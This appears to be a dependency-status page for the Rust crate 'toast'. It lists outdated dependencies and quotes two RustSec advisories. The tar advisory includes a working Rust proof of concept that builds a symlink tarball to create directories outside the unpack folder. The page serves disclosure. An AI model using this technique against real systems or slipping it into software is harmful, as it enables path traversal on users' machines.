This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.

Crate toast

Dependencies

(19 total, 10 outdated, 2 possibly insecure)

CrateRequiredLatestStatus
 atty^0.20.2.14up to date
 clap^24.5.4out of date
 colored^12.1.0out of date
 crossbeam^0.70.8.4out of date
 ctrlc^33.4.4up to date
 dirs^15.0.1out of date
 env_logger^0.60.11.3out of date
 hex^0.30.4.3out of date
 indicatif^0.110.17.8out of date
 lazy_static^1.31.4.0up to date
 log^0.40.4.21up to date
 scopeguard^11.2.0up to date
 serde^11.0.197up to date
 serde_yaml ⚠️^0.80.9.34+deprecatedout of date
 sha2^0.80.10.8out of date
 tar ⚠️^0.40.4.40maybe insecure
 tempfile^33.10.1up to date
 uuid^0.71.8.0out of date
 walkdir^22.5.0up to date

Security Vulnerabilities

serde_yaml: Uncontrolled recursion leads to abort in deserialization

RUSTSEC-2018-0005

Affected versions of this crate did not properly check for recursion while deserializing aliases.

This allows an attacker to make a YAML file with an alias referring to itself causing an abort.

The flaw was corrected by checking the recursion depth.

tar: Links in archive can create arbitrary directories

RUSTSEC-2021-0080

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!